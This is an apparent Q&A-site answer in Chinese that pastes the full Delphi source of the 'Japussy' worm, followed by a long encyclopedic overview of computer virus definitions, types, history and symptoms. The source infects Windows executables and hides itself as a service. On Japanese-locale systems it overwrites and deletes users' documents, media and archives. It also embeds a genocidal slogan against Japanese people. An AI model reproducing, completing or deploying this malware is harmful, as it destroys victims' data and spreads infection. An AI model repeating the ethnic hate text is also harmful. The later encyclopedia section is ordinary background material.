复制的,希望采纳
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记
//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?汤姆感激不尽!
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和 *** 盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name '.') and
(SearchRec.Name '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户,这个是我最喜欢的!
//哪位大兄弟愿意完成之?汤姆感激不尽!
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?汤姆感激不尽!
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end
《中华人民共和国计算机信息系统安全保护条例》中被明确定义,病毒指“编制或者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或者程序代码”。而在一般教科书及通用资料中被定义为:利用计算机软件与硬件的缺陷,由被感染机内部发出的破坏计算机数据并影响计算机正常工作的一组指令集或程序代码 。计算机病毒最早出现在70年代 David Gerrold 科幻小说 When H.A.R.L.I.E. was One.最早科学定义出现在 1983:在Fred Cohen (南加大) 的博士论文 “计算机病毒实验”“一种能把自己(或经演变)注入其它程序的计算机程序”启动区病毒,宏(macro)病毒,脚本(script)病毒也是相同概念传播机制同生物病毒类似.生物病毒是把自己注入细胞之中。
电脑病毒二、计算机病毒的长期性:病毒往往会利用计算机操作系统的弱点进行传播,提高系统的安全性是防病毒的一个重要方面,但完美的系统是不存在的,过于强调提高系统的安全性将使系统多数时间用于病毒检查,系统失去了可用性、实用性和易用性,另一方面,信息保密的要求让人们在泄密和抓住病毒之间无法选择。病毒与反病毒将作为一种技术对抗长期存在,两种技术都将随计算机技术的发展而得到长期的发展。
三、计算机病毒的产生:病毒不是来源于突发或偶然的原因。一次突发的停电和偶然的错误,会在计算机的磁盘和内存中产生一些乱码和随机指令,但这些代码是无序和混乱的,病毒则是一种比较完美的,精巧严谨的代码,按照严格的秩序组织起来,与所在的系统 *** 环境相适应和配合起来,病毒不会通过偶然形成,并且需要有一定的长度,这个基本的长度从概率上来讲是不可能通过随机代码产生的。现在流行的病毒是由人为故意编写的,多数病毒可以找到作者和产地信息,从大量的统计分析来看,病毒作者主要情况和目的是:一些天才的程序员为了表现自己和证明自己的能力,出于对上司的不满,为了好奇,为了报复,为了祝贺和求爱,为了得到控制口令,为了软件拿不到报酬预留的陷阱等.当然也有因政治,军事,宗教,民族.专利等方面的需求而专门编写的,其中也包括一些病毒研究机构和黑客的测试病毒.
四、计算机病毒的特点,计算机病毒具有以下几个特点:
(1) 寄生性:计算机病毒寄生在其他程序之中,当执行这个程序时,病毒就起破坏作用,而在未启动这个程序之前,它是不易被人发觉的。
(2) 传染性:计算机病毒不但本身具有破坏性,更有害的是具有传染性,一旦病毒被复制或产生变种,其速度之快令人难以预防。传染性是病毒的基本特征。在生物界,病毒通过传染从一个生物体扩散到另一个生物体。在适当的条件下,它可得到大量繁殖,并使被感染的生物体表现出病症甚至死亡。同样,计算机病毒也会通过各种渠道从已被感染的计算机扩散到未被感染的计算机,在某些情况下造成被感染的计算机工作失常甚至瘫痪。与生物病毒不同的是,计算机病毒是一段人为编制的计算机程序代码,这段程序代码一旦进入计算机并得以执行,它就会搜寻其他符合其传染条件的程序或存储介质,确定目标后再将自身代码插入其中,达到自我繁殖的目的。只要一台计算机染毒,如不及时处理,那么病毒会在这台机子上迅速扩散,其中的大量文件(一般是可执行文件)会被感染。而被感染的文件又成了新的传染源,再与其他机器进行数据交换或通过 *** 接触,病毒会继续进行传染。 正常的计算机程序一般是不会将自身的代码强行连接到其他程序之上的。而病毒却能使自身的代码强行传染到一切符合其传染条件的未受到传染的程序之上。计算机病毒可通过各种可能的渠道,如软盘、计算机 *** 去传染其他的计算机。当您在一台机器上发现了病毒时,往往曾在这台计算机上用过的软盘已感染上了病毒,而与这台机器相联网的其他计算机也许也被该病毒染上了。是否具有传染性是判别一个程序是否为计算机病毒的最重要条件。 病毒程序通过修改磁盘扇区信息或文件内容并把自身嵌入到其中的 *** 达到病毒的传染和扩散。被嵌入的程序叫做宿主程序;
(3) 潜伏性:有些病毒像定时炸弹一样,让它什么时间发作是预先设计好的。比如黑色星期五病毒,不到预定时间一点都觉察不出来,等到条件具备的时候一下子就爆炸开来,对系统进行破坏。一个编制精巧的计算机病毒程序,进入系统之后一般不会马上发作,可以在几周或者几个月内甚至几年内隐藏在合法文件中,对其他系统进行传染,而不被人发现,潜伏性愈好,其在系统中的存在时间就会愈长,病毒的传染范围就会愈大。 潜伏性的之一种表现是指,病毒程序不用专用检测程序是检查不出来的,因此病毒可以静静地躲在磁盘或磁带里呆上几天,甚至几年,一旦时机成熟,得到运行机会,就又要四处繁殖、扩散,继续为害。潜伏性的第二种表现是指,计算机病毒的内部往往有一种触发机制,不满足触发条件时,计算机病毒除了传染外不做什么破坏。触发条件一旦得到满足,有的在屏幕上显示信息、图形或特殊标识,有的则执行破坏系统的操作,如格式化磁盘、删除磁盘文件、对数据文件做加密、封锁键盘以及使系统死锁等;
(4) 隐蔽性:计算机病毒具有很强的隐蔽性,有的可以通过病毒软件检查出来,有的根本就查不出来,有的时隐时现、变化无常,这类病毒处理起来通常很困难。
(5)破坏性:计算机中毒后,可能会导致正常的程序无法运行,把计算机内的文件删除或受到不同程度的损坏 。通常表现为:增、删、改、移。
(6)计算机病毒的可触发性:病毒因某个事件或数值的出现,诱使病毒实施感染或进行攻击的特性称为可触发性。为了隐蔽自己,病毒必须潜伏,少做动作。如果完全不动,一直潜伏的话,病毒既不能感染也不能进行破坏,便失去了杀伤力。病毒既要隐蔽又要维持杀伤力,它必须具有可触发性。病毒的触发机制就是用来控制感染和破坏动作的频率的。病毒具有预定的触发条件,这些条件可能是时间、日期、文件类型或某些特定数据等。病毒运行时,触发机制检查预定条件是否满足,如果满足,启动感染或破坏动作,使病毒进行感染或攻击;如果不满足,使病毒继续潜伏。
五、计算机病毒分类,根据多年对计算机病毒的研究,按照科学的、系统的、严密的 *** ,计算机病毒可分类如下:按照计算机病毒属性的 *** 进行分类,计算机病毒可以根据下面的属性进行分类:
按照计算机病毒存在的媒体进行分类:
(1)根据病毒存在的媒体,病毒可以划分为 *** 病毒,文件病毒,引导型病毒。 *** 病毒通过计算机 *** 传播感染 *** 中的可执行文件,文件病毒感染计算机中的文件(如:COM,EXE,DOC等),引导型病毒感染启动扇区(Boot)和硬盘的系统引导扇区(MBR),还有这三种情况的混合型,例如:多型病毒(文件和引导型)感染文件和引导扇区两种目标,这样的病毒通常都具有复杂的算法,它们使用非常规的办法侵入系统,同时使用了加密和变形算法。
按照计算机病毒传染的 *** 进行分类:
(2)根据病毒传染的 *** 可分为驻留型病毒和非驻留型病毒,驻留型病毒感染计算机后,把自身的内存驻留部分放在内存(RAM)中,这一部分程序挂接系统调用并合并到操作系统中去,他处于激活状态,一直到关机或重新启动.非驻留型病毒在得到机会激活时并不感染计算机内存,一些病毒在内存中留有小部分,但是并不通过这一部分进行传染,这类病毒也被划分为非驻留型病毒。
(3) 根据病毒破坏的能力可划分为以下几种:
无害型
除了传染时减少磁盘的可用空间外,对系统没有其它影响。
无危险型
这类病毒仅仅是减少内存、显示图像、发出声音及同类音响。
危险型
这类病毒在计算机系统操作中造成严重的错误。
非常危险型
这类病毒删除程序、破坏数据、清除系统内存区和操作系统中重要的信息。这些病毒对系统造成的危害,并不是本身的算法中存在危险的调用,而是当它们传染时会引起无法预料的和灾难性的破坏。由病毒引起其它的程序产生的错误也会破坏文件和扇区,这些病毒也按照他们引起的破坏能力划分。一些现在的无害型病毒也可能会对新版的DOS、Windows和其它操作系统造成破坏。例如:在早期的病毒中,有一个“Denzuk”病毒在360K磁盘上很好的工作,不会造成任何破坏,但是在后来的高密度软盘上却能引起大量的数据丢失。
(4)根据病毒特有的算法,病毒可以划分为:
1. 伴随型病毒,这一类病毒并不改变文件本身,它们根据算法产生EXE文件的伴随体,具有同样的名字和不同的扩展名(COM),例如:XCOPY.EXE的伴随体是XCOPY.COM。病毒把自身写入COM文件并不改变EXE文件,当DOS加载文件时,伴随体优先被执行到,再由伴随体加载执行原来的EXE文件。
2. “蠕虫”型病毒,通过计算机 *** 传播,不改变文件和资料信息,利用 *** 从一台机器的内存传播到其它机器的内存,计算 *** 地址,将自身的病毒通过 *** 发送。有时它们在系统存在,一般除了内存不占用其它资源。
3. 寄生型病毒 除了伴随和“蠕虫”型,其它病毒均可称为寄生型病毒,它们依附在系统的引导扇区或文件中,通过系统的功能进行传播,按其算法不同可分为:练习型病毒,病毒自身包含错误,不能进行很好的传播,例如一些病毒在调试阶段。
4. 诡秘型病毒 它们一般不直接修改DOS中断和扇区数据,而是通过设备技术和文件缓冲区等DOS内部修改,不易看到资源,使用比较高级的技术。利用DOS空闲的数据区进行工作。
5. 变型病毒(又称幽灵病毒) 这一类病毒使用一个复杂的算法,使自己每传播一份都具有不同的内容和长度。它们一般的作法是一段混有无关指令的解码算法和被变化过的病毒体组成。
六、计算机病毒的发展,在病毒的发展史上,病毒的出现是有规律的,一般情况下一种新的病毒技术出现后,病毒迅速发展,接着反病毒技术的发展会抑制其流传。操作系统升级后,病毒也会调整为新的方式,产生新的病毒技术。它可划分为:
DOS引导阶段
1987年,计算机病毒主要是引导型病毒,具有代表性的是“小球”和“石头”病毒。当时的计算机硬件较少,功能简单,一般需要通过软盘启动后使用.引导型病毒利用软盘的启动原理工作,它们修改系统启动扇区,在计算机启动时首先取得控制权,减少系统内存,修改磁盘读写中断,影响系统工作效率,在系统存取磁盘时进行传播;
1989年,引导型病毒发展为可以感染硬盘,典型的代表有“石头2”;
DOS可执行阶段
1989年,可执行文件型病毒出现,它们利用DOS系统加载执行文件的机制工作,代表为“耶路撒冷”,“星期天”病毒,病毒代码在系统执行文件时取得控制权,修改DOS中断,在系统调用时进行传染,并将自己附加在可执行文件中,使文件长度增加。
1990年,发展为复合型病毒,可感染COM和EXE文件。
伴随、批次型阶段
1992年,伴随型病毒出现,它们利用DOS加载文件的优先顺序进行工作,具有代表性的是“金蝉”病毒,它感染EXE文件时生成一个和EXE同名但扩展名为COM的伴随体;它感染文件时,改原来的COM文件为同名的EXE文件,再产生一个原名的伴随体,文件扩展名为COM,这样,在DOS加载文件时,病毒就取得控制权.这类病毒的特点是不改变原来的文件内容,日期及属性,解除病毒时只要将其伴随体删除即可。在非DOS操作系统中,一些伴随型病毒利用操作系统的描述语言进行工作,具有典型代表的是“海盗旗”病毒,它在得到执行时,询问用户名称和口令,然后返回一个出错信息,将自身删除。批次型病毒是工作在DOS下的和“海盗旗”病毒类似的一类病毒。
幽灵、多形阶段
1994年,随着汇编语言的发展,实现同一功能可以用不同的方式进行完成,这些方式的组合使一段看似随机的代码产生相同的运算结果。幽灵病毒就是利用这个特点,每感染一次就产生不同的代码。例如“一半”病毒就是产生一段有上亿种可能的解码运算程序,病毒体被隐藏在解码前的数据中,查解这类病毒就必须能对这段数据进行解码,加大了查毒的难度。多形型病毒是一种综合性病毒,它既能感染引导区又能感染程序区,多数具有解码算法,一种病毒往往要两段以上的子程序方能解除。
生成器,变体机阶段
1995年,在汇编语言中,一些数据的运算放在不同的通用寄存器中,可运算出同样的结果,随机的插入一些空操作和无关指令,也不影响运算的结果,这样,一段解码算法就可以由生成器生成,当生成器的生成结果为病毒时,就产生了这种复杂的“病毒生成器” ,而变体机就是增加解码复杂程度的指令生成机制。这一阶段的典型代表是“病毒制造机” VCL,它可以在瞬间制造出成千上万种不同的病毒,查解时就不能使用传统的特征识别法,需要在宏观上分析指令,解码后查解病毒。
*** ,蠕虫阶段
1995年,随着 *** 的普及,病毒开始利用 *** 进行传播,它们只是以上几代病毒的改进.在非DOS操作系统中,“蠕虫”是典型的代表,它不占用除内存以外的任何资源,不修改磁盘文件,利用 *** 功能搜索 *** 地址,将自身向下一地址进行传播,有时也在 *** 服务器和启动文件中存在。
视窗阶段
1996年,随着Windows和Windows95的日益普及,利用Windows进行工作的病毒开始发展,它们修改(NE,PE)文件,典型的代表是DS.3873,这类病毒的机制更为复杂,它们利用保护模式和API调用接口工作,解除 *** 也比较复杂。 宏病毒阶段1996年,随着Windows Word功能的增强,使用Word宏语言也可以编制病毒,这种病毒使用类Basic语言、编写容易、感染Word文档等文件,在Excel和AmiPro出现的相同工作机制的病毒也归为此类,由于Word文档格式没有公开,这类病毒查解比较困难;
互连网阶段
1997年,随着因特网的发展,各种病毒也开始利用因特网进行传播,一些携带病毒的数据包和邮件越来越多,如果不小心打开了这些邮件,机器就有可能中毒;
爪哇(Java),邮件炸弹阶段
1997年,随着万维网(Wold Wide Web)上Java的普及,利用Java语言进行传播和资料获取的病毒开始出现,典型的代表是JavaSnake病毒,还有一些利用邮件服务器进行传播和破坏的病毒,例如Mail-Bomb病毒,它会严重影响因特网的效率。
七、其他的破坏行为,计算机病毒的破坏行为体现了病毒的杀伤能力。病毒破坏行为的激烈程度取决于病毒作者的主观愿望和他所具有的技术能量。数以万计不断发展扩张的病毒,其破坏行为千奇百怪,不可能穷举其破坏行为,而且难以做全面的描述,根据现有的病毒资料可以把病毒的破坏目标和攻击部位归纳如下: 攻击系统数据区,攻击部位包括:硬盘主引寻扇区、Boot扇区、FAT表、文件目录等。一般来说,攻击系统数据区的病毒是恶性病毒,受损的数据不易恢复。 攻击文件,病毒对文件的攻击方式很多,可列举如下:删除、改名、替换内容、丢失部分程序代码、内容颠倒、写入时间空白、变碎片、假冒文件、丢失文件簇、丢失数据文件等。攻击内存,内存是计算机的重要资源,也是病毒攻击的主要目标之一,病毒额外地占用和消耗系统的内存资源,可以导致一些较大的程序难以运行。病毒攻击内存的方式如下:占用大量内存、改变内存总量、禁止分配内存、蚕食内存等。干扰系统运行,此类型病毒会干扰系统的正常运行,以此作为自己的破坏行为,此类行为也是花样繁多,可以列举下述诸方式:不执行命令、干扰内部命令的执行、虚假报警、使文件打不开、使内部栈溢出、占用特殊数据区、时钟倒转、重启动、死机、强制游戏、扰乱串行口、并行口等。 速度下降,病毒激活时,其内部的时间延迟程序启动,在时钟中纳入了时间的循环计数,迫使计算机空转,计算机速度明显下降。攻击磁盘,攻击磁盘数据、不写盘、写操作变读操作、写盘时丢字节等。 扰乱屏幕显示,病毒扰乱屏幕显示的方式很多,可列举如下:字符跌落、环绕、倒置、显示前一屏、光标下跌、滚屏、抖动、乱写、吃字符等。 键盘病毒,干扰键盘操作,已发现有下述方式:响铃、封锁键盘、换字、抹掉缓存区字符、重复、输入紊乱等。 喇叭病毒,许多病毒运行时,会使计算机的喇叭发出响声。有的病毒作者通过喇叭发出种种声音,有的病毒作者让病毒演奏旋律优美的世界名曲,在高雅的曲调中去杀戮人们的信息财富,已发现的喇叭发声有以下方式:演奏曲子、警笛声、炸弹噪声、鸣叫、咔咔声、嘀嗒声等。 攻击CMOS , 在机器的CMOS区中,保存着系统的重要数据,例如系统时钟、磁盘类型、内存容量等,并具有校验和。有的病毒激活时,能够对CMOS区进行写入动作,破坏系统CMOS中的数据。 干扰打印机,典型现象为:假报警、间断性打印、更换字符等。
八、计算机病毒的危害性,计算机资源的损失和破坏,不但会造成资源和财富的巨大浪费,而且有可能造成社会性的灾难,随着信息化社会的发展,计算机病毒的威胁日益严重,反病毒的任务也更加艰巨了。1988年11月2日下午5时1分59秒,美国康奈尔大学的计算机科学系研究生,23岁的莫里斯(Morris)将其编写的蠕虫程序输入计算机 *** ,致使这个拥有数万台计算机的 *** 被堵塞。这件事就像是计算机界的一次大地震,引起了巨大反响,震惊全世界,引起了人们对计算机病毒的恐慌,也使更多的计算机专家重视和致力于计算机病毒研究。1988年下半年,我国在统计局系统首次发现了“小球”病毒,它对统计系统影响极大,此后由计算机病毒发作而引起的“病毒事件”接连不断,前一段时间发现的CIH、美丽莎等病毒更是给社会造成了很大损失。
九、用户计算机中毒的24种症状
1.计算机系统运行速度减慢。
2.计算机系统经常无故发生死机。
3.计算机系统中的文件长度发生变化。
4.计算机存储的容量异常减少。
5.系统引导速度减慢。
6.丢失文件或文件损坏。
7.计算机屏幕上出现异常显示。
8.计算机系统的蜂鸣器出现异常声响。
9.磁盘卷标发生变化。
10.系统不识别硬盘。
11.对存储系统异常访问。
12.键盘输入异常。
13.文件的日期、时间、属性等发生变化。
14.文件无法正确读取、复制或打开。
15.命令执行出现错误。
16.虚假报警。
17.换当前盘。有些病毒会将当前盘切换到C盘。
18.时钟倒转。有些病毒会命名系统时间倒转,逆向计时。
19.WINDOWS操作系统无故频繁出现错误。
20.系统异常重新启动。
21.一些外部设备工作异常。
22.异常要求用户输入密码。
23.WORD或EXCEL提示执行“宏”。
24.是不应驻留内存的程序驻留内存。
计算机病毒是在什么情况下出现的?
计算机病毒的产生是计算机技术和以计算机为核心的社会信息化进程发展到一定阶段的必然产物。它产生的背景是:
(1)计算机病毒是计算机犯罪的一种新的衍化形式
计算机病毒是高技术犯罪, 具有瞬时性、动态性和随机性。不易取证, 风险小破坏大, 从而 *** 了犯罪意识和犯罪活动。是某些人恶作剧和报复心态在计算机应用领域的表现;
(2)计算机软硬件产品的脆弱性是根本的技术原因
计算机是电子产品。数据从输入、存储、处理、输出等环节, 易误入、篡改、丢失、作假和破坏;程序易被删除、改写;计算机软件设计的手工方式, 效率低下且生产周期长;人们至今没有办法事先了解一个程序有没有错误, 只能在运行中发现、修改错误, 并不知道还有多少错误和缺陷隐藏在其中。这些脆弱性就为病毒的侵入提供了方便;
电脑病毒是一种在用户不知情或批淮下, 能自我复制及执行 计算机病毒是一种在用户不知情或批淮下,能自我复制及运行的计算机程序;计算机病毒往往会影响受感染的计算机的正常运作。
法律定义
此条目仅具一部分地域的观点或资料,尚需补充世界性的内容。
欢迎改善本文,或讨论本文任何问题。
病毒的定义一直存在着争议[1],不少人包括世界各国的反病毒厂商都将基于 *** 的木马、后门程序以及恶意软件也归在电脑病毒之列查杀。
以下内容是中国大陆的电脑病毒的法律定义,司法部门凭这个就可以逮捕病毒 *** 和散播者。
1994年2月18日《中华人民共和国计算机信息系统安全保护条例》第二十八条[2]
计算机病毒,是指编制或者在计算机程序中插入的“破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码”。
截止2007年12月,中国仍然沿用此条例,没有新的修订。
中国互联网协会关于恶意软件的定义[3]
恶意软件是指在未明确提示用户或未经用户许可的情况下,在用户计算机或其他终端上安装运行,侵犯用户合法权益的软件,但已被我国现有法律法规规定的计算机病毒除外。
[编辑] 病毒作者
参见:被捕黑客列表
有不少病毒 *** 者黑客们被逮捕并予以起诉,判决的轻重各国都有所不同,如罗马尼亚西欧班尼花费15分钟写的MSBlast.F变种大约只感染了1000台计算机,按他们国家的法律他就有可能更高会被判15年有期徒刑,而1998年台湾病毒作者陈盈豪写的CIH病毒被一些人认为“迄今为止危害更大的病毒”[4],使全球6000万台计算机瘫痪,但他因为在被逮捕后无人起诉而免于法律制裁,在2001年有人以CIH受害者的身份起诉陈盈豪,才使他再次被逮捕,按照台湾当时的法律,他会被判损毁罪面临更高只3年以下的有期徒刑。
中国的木马程序“证券大盗”作者张勇因使用其木马程序截获股民账户密码,盗卖股票价值1141.9万元,非法获利38.6万元人民币,被逮捕后以盗窃罪与金融犯罪起诉,最终的判决结果是无期徒刑。
一公司的分析报告称,目前全世界现有200万有能力写较成熟电脑病毒的程序员。[5]
[编辑] 历史
主条目:知名病毒及蠕虫的历史年表
“病毒”一词最早用来表达此意是在弗雷德·科恩(Fred Cohen)1984年的论文《电脑病毒实验》。而病毒一词广为人知是得力于科幻小说。一部是1970年代中期大卫·杰洛德(David Gerrold)的《When H.A.R.L.I.E. was One》,描述了一个叫“病毒”的程序和与之对战的叫“抗体”的程序;另一部是约翰·布鲁勒尔(John Brunner)1975年的小说《震荡波骑士(ShakewaveRider)》,描述了一个叫做“磁带蠕虫”、在 *** 上删除数据的程序。[6]
1960年代初,美国麻省理工学院的一些青年研究人员,在做完工作后,利用业务时间玩一种他们自己创造的计算机游戏。做法是某个人编制一段小程序,然后输入到计算机中运行,并销毁对方的游戏程序。而这也可能就是计算机病毒的雏形。
[编辑] 运行环境以及传播途径
